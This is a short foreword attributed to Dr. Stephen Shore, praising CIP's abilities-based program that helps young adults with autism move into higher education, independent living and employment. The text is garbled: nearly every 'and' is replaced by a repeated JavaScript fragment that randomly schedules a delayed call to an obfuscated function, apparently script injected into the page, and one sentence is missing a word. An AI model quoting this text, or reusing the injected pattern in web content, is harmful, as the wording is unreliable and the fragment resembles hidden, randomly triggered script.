Foreword by Dr. Stephen Shore

“Ten years ago, when was invited to CIP to give a short talk on being on the autism spectrum, I was impressed by the dedication of all those involved as they set the stage for those with Autism andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and other Learning Differences to achieve success in higher education, independent living, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and employment.

However, what was then, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and continues to be, the most striking part of CIP is the positive, active, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and participatory focus on helping students understandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and what it means to have autism andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and to employ those very characteristics to lead fulfilling andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and productive lives. In brief, this is the first program to successfully transition young adults from a deficit-based to an abilities-based model of autism andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and other conditions.”
